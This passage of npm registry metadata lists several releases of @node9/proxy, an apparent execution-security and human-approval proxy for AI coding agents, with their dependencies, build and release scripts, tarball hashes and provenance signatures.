scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.35.1_1781505553352_0.1590515384261284","host":"s3://npm-registry-packages-npm-production"}},"1.35.2":{"name":"@node9/proxy","version":"1.35.2","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.35.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"c9ba2f0916ec7c09c01fb9914b8fe0195a7e217f","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.35.2.tgz","fileCount":17,"integrity":"sha512-ZM0yLtWWgEdn+qxkN8BGJ1F70FmKyMdKnX61MohPyKCcCzHvhcDVQeW21oEgSniZReCG8FdbHN2P8Iywt7hgJQ==","signatures":[{"sig":"MEUCIFEC71MQ0hlJRSLhg7xYhU2n43kZoV3OjRz8/PAFfQ/1AiEAqzz2LeXJ4RGp6f8S9be/zQ+3IqpCIKt9xDZ8h0v2AgI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.35.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4167760},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"48431276e74720239764d7bd91a2fde1ffc98c2c","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.35.2_1781523848806_0.3060526664531502","host":"s3://npm-registry-packages-npm-production"}},"1.36.0":{"name":"@node9/proxy","version":"1.36.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.36.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"fbb0765e3b14bb04e02d8b3fd0a176872011f321","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.36.0.tgz","fileCount":17,"integrity":"sha512-ojUcgRFYicVk362E22WSPNsG9XUKYerLdaxK38VbfXX9i7f0qd1+wIcrTVlwIXLCDulco6gmEOqvXf24TTfZ4Q==","signatures":[{"sig":"MEUCIGw0pwEnbKKOHEpV3MJGeOy6CpmzFk7nnEcxA49AdH4TAiEAnFbVdAjSdp4SwsC3QQtX0r+Oe3pZkxcLf3bgwnofMa4=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.36.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4171506},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"12a1211f86cd9f4ce0f9dd7925f43789d5cfdd36","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.36.0_1781544278873_0.9898886405516383","host":"s3://npm-registry-packages-npm-production"}},"1.37.0":{"name":"@node9/proxy","version":"1.37.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.37.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"d4b9be9c9c301084950890fa7228299dcaae70a0","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.37.0.tgz","fileCount":17,"integrity":"sha512-mIwc2xPCXV+O8IfyARVxwlUxUgEjGej6+v6854IuKEtHqrUxYrHdOjK7eGrqkSwoX1QkmMcOa9u8WED4WIqNKw==","signatures":[{"sig":"MEUCIBmmB9aDYeULdnmZAfaD2KvwH6CBXibG0P8BcLp4MoSTAiEAzHO2I+Fj10kDdtYxWBXH5wAkA95g8MIEJLdjeI9uMJw=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.37.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4259705},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"ac19dba3c736bea97ddfb5d37b7b4abefe77fd0d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.37.0_1781719542675_0.474500656286968","host":"s3://npm-registry-packages-npm-production"}},"1.38.0":{"name":"@node9/proxy","version":"1.38.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.38.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3475cfd584c47ab4461f1bdcc80b2e55b3ca652e","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.38.0.tgz","fileCount":17,"integrity":"sha512-aZ3thIFSsQD++jS1w5XFJoqGJpA1FfHeqmsjyy4hFkk0nQnlMLOqcJe4Zd02201gg+/Y1myuOPoP/LiH1ACzDA==","signatures":[{"sig":"MEUCIQCq0Wr9mkRV2h+vobyfB01gW1BIiXpN9+cXX7zQ8NAQqQIgLHuQ0/OL06/L/PjBRCx1AWuLwULfyGPuY/YBA8epovU=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.38.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4302126},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"1b6d8a08ef2dc6025bd35ee28d685d227fe30e7b","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.38.0_1781773027480_0.9913118061135939","host":"s3://npm-registry-packages-npm-production"}},"1.39.0":{"name":"@node9/proxy","version":"1.39.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.39.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"bcb5b340b2a01dd142e9c1b4166ccecbdce10667","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.39.0.tgz","fileCount":17,"integrity":"sha512-8CEhdn8CLJTHvrzZ1arJDDVjy/ugJKUmpcOOhznC8BUZaltG+Ugx28jTU3TYcD7etyK4lcr6ukgId+gN04Q2kQ==","signatures":[{"sig":"MEYCIQCr7OM/sBcSycE6cKdTjYYXyiXlrdwxo30xpLCE6AWsRAIhANa2Np72ILyFRwLOVO4T/d2ZIN96OFNMyuRAeWsr0chS","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.39.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4304881},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9bb6bae16f5b94391f4d53c4bdc3a0ad8454952d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . --fix","test:e2e":"cross-env NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"cross-env NODE9_TESTING=1 vitest","format:check":"prettier --check .","preuninstall":"node9 uninstall || echo 'node9 uninstall failed — remove hooks manually from ~/.claude/settings.json'","test:coverage":"cross-env NODE9_TESTING=1 vitest --run --coverage","prepublishOnly":"npm run validate","bump-extractor-version":"node scripts/check-extractor-version.mjs --bump","check:extractor-version":"node scripts/check-extractor-version.mjs"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"overrides":{"ws":"^8.21.0","undici":"^7.24.0"},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"workspaces":["packages/*"],"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code, Codex, Gemini, Cursor, Opencode, Pi, and any MCP server.","directories":{},"_nodeVersion":"22.22.3","dependencies":{"ink":"^7.0.2","zod":"^3.25.76","yaml":"^2.9.0","chalk":"^4.1.2","execa":"^9.6.1","react":"^19.2.6","mvdan-sh":"^0.10.1","commander":"^14.0.3","picomatch":"^4.0.3","smol-toml":"^1.6.1","safe-regex2":"^5.1.0","string-width":"^4.2.3","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"4.1.2","prettier":"^3.4.2","cross-env":"^10.1.0","typescript":"^5.9.3","@types/node":"^25.3.1","@types/react":"^19.2.14","@octokit/rest":"^22.0.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","@anthropic-ai/sdk":"^0.78.0","typescript-eslint":"^8.20.0","@vitest/coverage-v8":"4.1.2","ink-testing-library":"^4.0.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"bundleDependencies":["mvdan-sh"],"_npmOperationalInternal":{"tmp":"tmp/proxy_1.39.0_1781799249302_0.4339546329494699","host":"s3://npm-registry-packages-npm-production"}},"1.40.0":{"name":"@node9/proxy","version":"1.40.0","keywords":["ai-security","agent-security","agentic-ai","mcp","mcp-proxy","claude-code","claude-desktop","codex","gemini-cli","cursor","windsurf","vscode","opencode","pi-agent","hermes-agent","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"Apache-2.0","_id":"@node9/proxy@1.40.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"125fed8140ff0c4ff74129a955ca1afff79fa348","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.40.0.tgz","fileCount":17,"integrity":"sha512-Xer9n1EJs8KSNB9vcHNxNd0iXnEwshhwty/hV+rjIfa8BZFnVmQx/TjOsUs8lFOgcWZx0Gjp5QAL9x/rOeB0ng==","signatures":[{"sig":"MEUCID43OuJU95hBjUWhTu3XgWi6MBLIKgDHxIqeP4pvyok6AiEAvgL7tMKdDZcwQEQ+YsCsg1pOF5E7AiDCmX7EYFk9nZk=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.40.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":4352525},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"57ee9cc0e9b51a281fcd44e00b692f9db1040099","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"cross-env NODE9_TESTING=1 vitest --run","build":"npm --workspace @node9/policy-engine run build && tsup","format":"prettier --write .","test:ui":"vitest --ui","dev:tail":"node -e \"try{const d=JSON.parse(require('fs').readFileSync(require('os').homedir()+'/.node9/daemon.pid','utf8'));const pid=d.pid;if(Number.isInteger(pid)&&pid>0&&pid<4194304)process.kill(pid)}catch(e){if(e.code!=='ESRCH'&&e.code!=='ENOENT')process.stderr.write(e.message+'\\n')}\" && npm run build && node dist/cli.js tail","lint:fix":"eslint . 